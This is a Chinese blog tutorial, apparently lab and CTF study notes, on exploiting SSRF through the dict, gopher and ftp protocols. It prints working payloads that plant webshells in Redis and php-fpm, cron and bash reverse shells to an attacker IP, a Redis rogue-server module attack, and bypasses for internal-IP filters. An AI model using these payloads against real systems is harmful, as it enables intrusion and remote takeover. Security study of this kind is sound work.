首页 > 其他分享 >SSRF学习

SSRF学习

时间:2024-03-24 14:00:47浏览次数:22  
标签:SSRF 00% url 250D% 学习 2500% php 250A%

形成原因

SSRF(服务端请求伪造漏洞) 是由于服务端提供了从其他服务器应用(url)获取数据的功能,并把请求的数据返回到前端,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,导致访问到了不该访问的数据。

引起ssrf的函数有几个:

函数功能
file_get_contents($file)获取$file文件内容,也可以传入url远程获取
curl_exec()php实现curl的一个拓展,用于发送网络请求,返回请求结果
fsockopen()使用socket与目标进行连接,传输原始数据

实验学习

本地搭一个简单的环境,用curl_exec学习

<?php
if(isset($_GET['url']))
{
    $URL=$_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    
    if ($RES === false) {
        echo 'Curl error: ' . curl_error($CH);
    } 
    else
    {
     echo $RES;
    }
} else {
   highlight_file(__FILE__);
}

?>
+
    -

伪协议利用

ssrf的利用,涉及到一些伪协议,如下

file协议

在学习文件包含时就学习过,可以用来读取文件,但是需要知道文件的绝对路径,如

/?url=file:///flag

在这里插入图片描述

http协议

也是学习过的,从网络上远程获取资源,把url改为127.0.0.1,就可以获取后端服务器上的(网站根目录下)其他资源,

在这里插入图片描述

dict协议

用于探测服务器上的一些端口是否开放,为后续的操作奠定基础

?url=dict://127.0.0.1:3306 #探测3306端口

在这里插入图片描述

如果开放了端口,就会返回相关的信息,没有开放,curl会有报错信息,如果没有curl_error返回报错信息,可能返回空数据包或者得等好一会才有返回的数据包

在这里插入图片描述

gopher协议

在http协议出现之前,是一种早期的互联网协议,用于检索和传输文本数据,在web出现之前是主要的互联网服务,现在用的比较少

可以使用GET,POST方法传数据 get方法如下

先构造最简单的http get数据包,然后把数据包进行url编码,把空格编码为%20,问号编码为%3f, 换行要替换为%0d%0A,不然会报错,数据结尾如果没有%0d%0A,要记得补上

GET /my/ssrf/ssrf.php?url=file:///flag HTTP/1.1
Host:192.168.184.201

第一次编码完是这样:

GET%20/my/ssrf/ssrf.php%3furl=file:///flag%20HTTP/1.1%0d%0AHost:%20192.168.184.201%0d%0A

整体要再编码一次才能在浏览器上发送

GET%2520/my/ssrf/ssrf.php%253furl%3Dfile%3A///flag%2520HTTP/1.1%250d%250AHost%3A%2520192.168.184.201%250d%250A

完整payload:

url=gopher://127.0.0.1:80/_GET%2520/my/ssrf/ssrf.php%253furl%3Dfile%3A///flag%2520HTTP/1.1%250d%250AHost%3A%2520192.168.184.201%250d%250A

还有两个小点要注意:

  1. GET前要加_,因为gopher协议会吞一个字符
  2. gopher协议默认端口为70,要自己改为80

在这里插入图片描述

post方法:

用一个简单的php来举例

?php echo "how are you ".$_POST['name']."?";
      echo $_POST['age']; 
?>

构造一个简单的post数据包

POST /ssrf.php HTTP/1.1
host:192.168.17.1
Content-Type:application/x-www-form-urlencoded
Content-Length:16

name=jack&age=14

跟get一样,第一步先初步编码,换掉空格,换行符,post没有问号,但是如果在数据体中有&,要编码为:%26,没有则不用,第二步再url编码第一步替换后的整个数据包,payload:

url=gopher://127.0.0.1:80/_POST%2520/hello.php%2520HTTP/1.1%250d%250Ahost%3A192.168.184.201%250d%250AContent-Type%3Aapplication/x-www-form-urlencoded%250d%250AContent-Length%3A16%250d%250A%250d%250Aname%3Djack%26age%3D14%250d%250A

在这里插入图片描述

gopher协议在ssrf中其实并不单独使用,通常要配合其他服务来使用

服务利用

1.ssrf,可以配合一些未授权(没有设置密码)的服务(或者泄露了服务的密码或者密码弱口令),来利用,针对不同的服务达到写入webshell或反弹shell的目的

redis服务

当服务器上redis的配置允许远程连接时,并且没有配置密码(或密码泄露),我们可以通过ssrf,远程连接上服务器的redis,执行一些redis命令

可以使用dict协议或gopher,与gopher不同的是dict一次只能执行单个命令,gopher可以一次执行多个命令

可以通过ssrf给服务器上的redis服务传递命令,传入写入webshell(要求有写入文件的权限)或者反弹shell的指令

先运行

ps -ef | grep redis

在这里插入图片描述

要像上图一样是root用户运行,才有写入权限,如果显示是redis用户,就无法进行测试,可以看下面这篇文章来解决

https://blog.8owe.com/378.html

dict协议

看一下redis写入webshell的一些相关指令,利用的是redis可以保存文件并指定保存路径(如果有root权限)

config set dir /var/www/html               # 设置写入数据的路径
config set dbfilename shell.php            # 设置保存数据文件的文件名
set x "\x0a\x0a\x0a\x20\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x78\x27\x5d\x29\x3b\x3f\x3e\x0a\x0a\x0a"    # 设置一个键值对,值为一句话木马的十六进制编码
save          # 保存数据,设置的键值对中的值就会保存到/var/www/html/shell.php中  

在测试时,发现总是有各种问题导致无法成功设置x为一句话木马,十六进制编码后就行了,相当于

\n\n\n <?php @eval($_POST['x']);?>\n\n\n

redis写入文件会添加一些其他数据,最好加上换行隔开

现在通过dict协议,分别传送上面四条指令,如

?url=dict://127.0.0.1:6379/config set dir /var/www/html 
?url=dict://127.0.0.1:6379/config set dbfilename shell.php
?url=dict://127.0.0.1:6379/set x "\x0a\x0a\x0a\x20\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x78\x27\x5d\x29\x3b\x3f\x3e\x0a\x0a\x0a" 
save

在这里插入图片描述

蚁剑连接成功,webshell成功写入

现在测试反弹shell,上网查找资料,发现Ubuntu大多都无法测试反弹shell(文件权限问题),我自己测试时也总是失败,于是我起一个可以反弹的docker来测试

在这里插入图片描述

跟我自己的差不多,get换为了POST,这里有两个容器,另一个运行了redis服务,地址为:172.20.1.3

测试一下redis服务有没有设置密码

在这里插入图片描述

并没有,直接dict协议写入计划任务(定时执行),执行反弹shell的计划任务,分别传输下面4个指令

?url=dict://172.20.1.3:6379/set x "\x0a\x0a\x2a\x2f\x31\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x2d\x69\x3e\x26\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x34\x2e\x31\x35\x30\x2f\x31\x32\x33\x34\x20\x30\x3e\x26\x31\x0a\x0a"
?url=dict://172.20.1.3:6379/config set dir /var/spool/cron 
?url=dict://172.20.1.3:6379/config set dbfilename root
?url=dict://172.20.1.3:6379/save

x 的值就是

\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.184.150/1234 0>&1\n\n

在这里插入图片描述

反弹成功,但奇怪的是redis服务器居然也是Ubuntu,也能反弹回来

gopher协议

写入webshell

payload使用脚本生成,也可以自己来,要socat抓包修改,有点麻烦,直接用大佬的脚本吧(py3)

import urllib.parse as up
protocol="gopher://"
ip="192.168.184.201"
port="6379"
shell="\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += up.quote(redis_format(x))
    print(payload)
   

在linux上使用curl,直接发这个生成的payload,浏览器上发送的话,就要把第/_后面的内容,再url编码一次,
在这里插入图片描述

返回5个ok,就是执行成功,看看webshell,

在这里插入图片描述
写入成功

反弹shell,同样在那个docker下,使用上面的脚本,把shell参数换成反弹shell的命令即可,对应修改dbfilename和dir

payload

url=gopher://172.20.1.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252464%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520/bin/bash%2520-i%253E%2526/dev/tcp/192.168.184.150/1234%25200%253E%25261%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A/var/spool/cron/%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

在这里插入图片描述

反弹成功

主从复制

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);

主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,如果要写会接受主服务器同步过来的写操作命令,然后执行这条命令。
影响redis的版本:4.x-5.x,

命令

slaveof host port #把host:port的主机认定为redis主服务器 主服务器要把bind 127.0.0.1的设置注释掉

利用思路:

在攻击机上启动redis服务,然后编译生成可以执行系统命令的so文件,用脚本让目标的服务器与我的redis服务器建立从属关系,同步写入so文件,然后用load module 命令加载该so文件执行系统命令

认定后,主服务器的写入和删除操作都会同步给从服务器

在这里插入图片描述

在这里插入图片描述

利用思路:

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过C语言编译并加载恶意的.so文件,达到代码执行的目的,这个的利用大多是利用大佬的脚本

git clone https://github.com/Dliv3/redis-rogue-server.git

如果redis服务暴露在外网,可以直接使用这个脚本,用法

python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

如果有密码,可以通过–rpasswd 添加密码

运行成功,就可以拿到交互式的shell,如:

在这里插入图片描述

如果服务在内网,要通过ssrf来利用,起一个之前用过的ssrf-redis的docker,

内网中192.168.1.3:6379,运行着redis服务

先使用上面的脚本,只加一个参数 --server-only

然后用下面大佬的脚本,生成gopher数据(让处于内网的redis主动来建立主从关系,同步恶意so文件并执行命令

import requests
import re
def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data
def gen_payload(payload):
    redis_payload = ''
    for i in payload.split('\n'):
        arg_num = '*' + str(len(i.split(' ')))
        redis_payload += arg_num + '\r\n'
        for j in i.split(' '):
            arg_len = '$' + str(len(j))
            redis_payload += arg_len + '\r\n'
            redis_payload += j + '\r\n'
    gopher_payload = 'gopher://192.168.1.3:6379/_' + urlencode(redis_payload)
    return gopher_payload
payload1 = '''
slaveof 192.168.184.150 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'ls /'
quit
'''
print(gen_payload(payload1)) //写入so文件
print(gen_payload(payload2)) //加载so文件

这两个payload分两次发送,第一次发送后

在这里插入图片描述

如果这样显示,就是完成同步成功并写入so文件,但我在发送第二个payload时,就发生无法加载so文件的报错,

在这里插入图片描述

容器redis的版本是5.0.5,redis运行的日志默认又不写入文件,想要设置但一重启redis服务,容器就会销毁,实在头疼

应该容器的gcc版本太低,是4.4.7,我kali上的是12.2.0

php-fpm服务

php-fpm服务是fastcgi协议的一个具体实现,FastCGI(Fast Common Gateway Interface)是一种用于改善 CGI(Common Gateway Interface)性能的协议。

是服务器中间件和某个语言后端进行数据交换的协议,与标准的 CGI 不同,它允许 Web 服务器复用已加载的解释器,从而避免了每次请求都重新加载解释器的开销。

php-fpm默认是Unix套接字模式来通信,使用TCP模式监听9000端口通信时我们才可以利用,在phpinfo界面也可以看出来

在这里插入图片描述

远程利用

当fpm服务被设置为可以接受外部请求,我们可以直接利用,如我这里:/etc/php/7.4/fpm/pool.d/www.conf

在这里插入图片描述

查看一下9000端口,

在这里插入图片描述

TCP*:9000,表示可以接受外部或内部的请求,

但是我们访问9000端口要构造符合fast-cgi协议的数据包,而不是在浏览器使用http协议去访问,具体如何利用fast-cgi协议的原理可看下面这篇大佬的文章,

https://tttang.com/archive/1775/#toc_fastcgi PHP-FPM攻击详解

我这里就简单描述一下,fast-cgi协议中的PHP_VALUE和PHP_ADMIN_VALUE,这两个值可以修改php的配置,如果这么设置

'PHP_VALUE': 'auto_prepend_file = php://input',  #加载php文件之前,先包含php://input协议读取到的内容
'PHP_ADMIN_VALUE': 'allow_url_include = On'      #php://input协议生效的条件

在文件包含中我们学习过,,php://input读取的是POST原始数据,所以我们在发送fast-cgi协议数据修改php配置的同时,把我们的恶意php代码写入POST的body中,就会被成功执行,使用fast-cgi协议还有一个小的前提:要知道对方服务器上已知的一个php文件的绝对路径

要做到这两个操作,我们可以利用网上的一个大佬的脚本

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

使用命令

python3 fpm.py -c "<?php system('ls /');?>" -p 9000 192.168.184.200 /var/www/html/ssrf.php

-c 是要执行的php代码,-p是ip地址和端口,最后是已知的php绝对路径

在这里插入图片描述

执行成功,也可以反弹shell,

python3 fpm.py -c '<?php $a = fopen("/tmp/shell.sh", "w"); fwrite($a, "bash -i &>/dev/tcp/192.168.184.150/1234 0>&1"); fclose($a); ?>' -p 9000 192.168.184.200 /var/www/html/ssrf.php

写入可以反弹的shell.sh,然后在执行

python3 fpm.py -c '<?php shell_exec("bash /tmp/shell.sh") ?>' -p 9000 192.168.184.200 /var/www/html/ssrf.php

在这里插入图片描述

反弹成功

ssrf利用

如果www.conf文件中listen=9000改为listen=127.0.0.1:9000,那我们就无法从外部去访问9000端口,就像下面这样

!在这里插入图片描述

这时我们要通过ssrf,让服务器上的php程序来访问它的9000端口

用工具gopherus.py,生成payload,地址如下:

https://github.com/tarunkant/Gopherus

使用工具生成gopher数据包

在这里插入图片描述

把/_后面的部分再url编码一下,形成完整的payload

url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2503%2503%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2516SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fssrf.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520%2F%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r----—-%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

结果

在这里插入图片描述

执行成功

反弹shell

也是用gopherus.py,命令改为下面这个

bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"

/_后面的部分url编码一下,完整payload:

url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH107%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2516SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fssrf.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500k%2504%2500%253C%253Fphp%2520system%2528%2527bash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.184.150%2F1234%25200%253E%25261%2522%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

在这里插入图片描述

反弹成功

ftp被动模式

curl也是支持ftp协议的,不过这个方法常用于file_put_contents或其他文件写入的点中,用于可利用协议受限制的情况

既能打redis,也可以打php-fpm

ftp是文件传输的协议,有主动模式和被动模式,

主动模式:

客户端通过命令连接请求连接到服务器的标准FTP端口(默认端口21),向该端口发送控制信息(port命令,包含客户端用什么端口接收命令),服务器确认连接后,在指定的端口上主动建立数据连接并向客户端发送数据,传输完成后服务器关闭数据连接

被动模式:

同样是客户端连接ftp服务器的20端口建立连接,但并不是发送port命令,而是发送pasv命令。服务端收到pasv命令后,在自己本机上打开一个高端端口(>1024),并发送自己的公网ip和该端口给客户端,客户端收到后就与服务端给的地址和端口建立连接传输数据。

利用方法:

我们自己建立一个ftp服务器,让目标来向我们发送ftp传输文件的请求,被动模式下本来我们的ftp服务器应该传输给目标我们的ip和端口,但我们修改为127.0.0.1:9000,目标就会向127.0.0.1:9000(即目标本机fpm服务监听端口)建立连接并传输我们的恶意payload,达到ssrf的目的,

大佬的建立ftp服务代码(python)

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',2337)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

实验demo

<?php

highlight_file(__FILE__);
if(isset($_GET['file'])&&isset($_GET['data']))
{
    file_put_contents($_GET['file'],$_GET['data']);
}

?>

fpm

先在攻击机上运行ftp服务,运行

python ftp.py

利用gopherus.py生成fastcgi的,反弹shell的payload,跟上面的一样,取_后面的内容

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%16SCRIPT_FILENAME/var/www/html/ssrf.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.184.150/1234%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

传送给php的payload

?file=ftp://[email protected]:2337/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%16SCRIPT_FILENAME/var/www/html/ssrf.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00k%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.184.150/1234%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

ftp协议要指定用户名和路径,我这里是随便写的aaa和123

在这里插入图片描述

反弹成功

redis

其实ftp就是相当于重定向我们的payload到目标端口,那是不是可以用redis的payload,重定向到6379端口呢?尝试一下,修改一下脚本的重定向端口

conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
改为
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6370)\n') #STOR / (2)

gopherus生成redis的,写入webshell的payload

在这里插入图片描述

截取_后面的内容,形成完整的payload

?file=ftp://[email protected]:2337/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

在这里插入图片描述

写入成功

相关过滤及绕过

过滤内网地址

现在网站根目录下有一个phpinfo.php,尝试访问,

重定向

  1. 用sudo.cc绕过,访问sudo.cc会重定向到127.0.0.1,

在这里插入图片描述

在这里插入图片描述

  1. 可以让目标程序访问我们自己的vps上的php程序(turn.php),代码如下

    <?php
    header("HTTP/1.1 302 found");
    header('Location:http://127.0.0.1/phpinfo.php');
    ?>
    

    当目标访问这个php程序时,就会重定向到自己网站路径上的文件,当然还能修改协议为gopher,用gopher访问也可以

    这个有一个利用条件:

    curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE); 
    

    CURLOPT_FOLLOWLOCATION设为true,curl才能跟随着location跳转,我这里用了内网穿透来测试

    在这里插入图片描述

进制转换

IP地址转为32位整数或不同进制编码绕过,如

0177.0.0.1 或017700000001 //八进制
0x7f.0.0.1 或0x7f000001 //十六进制
2130706433 //十进制

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

特殊0或省略0

特殊0绕过,linux中直接访问0也是访问127.0.0.1,0.0.0.0也可以

在这里插入图片描述

在这里插入图片描述

127.0.0.1中间的0也是可以省略,直接127.1访问

在这里插入图片描述

添加@

这个绕过方式针对的是php的一个内置的,用来解析url的一个函数,parse_url,和curl的这两个方法存在的解析漏洞,先学习一下parse_url的解析漏洞,

例如解析这个url

http://username:password@hostname/path?arg=value#anchor
?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

// 解析 URL
$parsed_url = parse_url($url);

var_dump($parsed_url);
?>

结果,

在这里插入图片描述

可以看到,url中的各个参数都被解析出来,放入一个数组中,如果使用这个方法,一般会针对host进行过滤

对于host的解析,parse_url匹配的是最后一个@后面的内容,如果是这个url

http://username:password@host1@host2/path?arg=value#anchor

host就是host2

在这里插入图片描述

而对于curl,它解析host匹配的是遇到的第一个@,后面如果还有@,会被丢弃(这个漏洞在7.62.0被修复),我虚拟机就是7.62.0,于是起个docker

所以,如果题目用parse_url解析host后,判断是否是一个安全的host,否则退出,例如我这个docker中

<?php
highlight_file(__FILE__);
function check_ip($url) {
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result) {
        die('url fomat error');
    }
    try {
        $url_parse=parse_url($url);
        $hostname=$url_parse['host'];
        $ip=gethostbyname($hostname);
        $int_ip=ip2long($ip);
   
        return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24
        || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
    
    
    } catch(Exception $e) {
        die('url fomat error');
        return false;
    }
}
$ip=$_GET['ip'];
if(check_ip($ip))
{
    die('hacker!');
}
else
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch);
    $result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
?>

这个对于是否是内网ip的检查,除了前面的进制转换和特殊0,还可以添加@绕过

url=http://@127.0.0.1:[email protected]/index.html

这样一来,parse_url解析的host是www.baidu.com,而curl解析的host却是127.0.0.1,path是/index.html

在这里插入图片描述

成功绕过,访问到了服务器上的其他文件

/path要跟在伪造的host后面,如果跟在127.0.0.1:80后面,host会被解析为127.0.0.1,绕过失败

在这里插入图片描述

句号代替.

ip=http://127。0。0。1/phpinfo.php

可以绕过我起的那个docker中的防御,

在这里插入图片描述

封闭式字母数字

封闭式字母数字(Enclosed Alphanumerics),都可以被解析为正常数字,如,

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

① ② ⑦ . ①=>127.1

在这里插入图片描述

限制host以某个地址开始

1.假如如果给url添加一个条件,必须以某个地址开始,也可以添加@绕过,因为低版本curl中第一个@后面的会被匹配为host

以ctfhub的题目为例子

在这里插入图片描述

这样构造url

url=http://[email protected]/flag.php

在这里插入图片描述

限制host以某个字符串结束

以ctfshow358题的代码为例子:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

这个要求url必须以ctf.开头,show结尾,ctf开头可用@绕过

show结尾用?或# ,?后面的字符串会被解析为查询参数,不会被解析为host,#会被解析为fragment(用于指定资源中的特定片段或位置。它由一个井号(#)后面跟着一个标识符组成,通常被称为“片段标识符”)

如:

url=http://[email protected]/phpinfo.php?show
或
url=http://[email protected]/phpinfo.php#show

如果get传参,要记得把#编码为%23
在这里插入图片描述

成功

经典题目练习

[网鼎杯 2020 玄武组]SSRFMe

题目源码

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

我之前的docker好像就是根据这个改的,这个ip检查可以用0或者十六进制绕过(ip2long转不了16进制,返回false),源码提示访问hint.php,访问一下

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

这里很明显有提示打redis,本来想尝试绕过exit写webshell,但发现好像没有写入权限,失败了

那就尝试打redis,返回最初位置,用脚本生成payload,再二次编码,payload

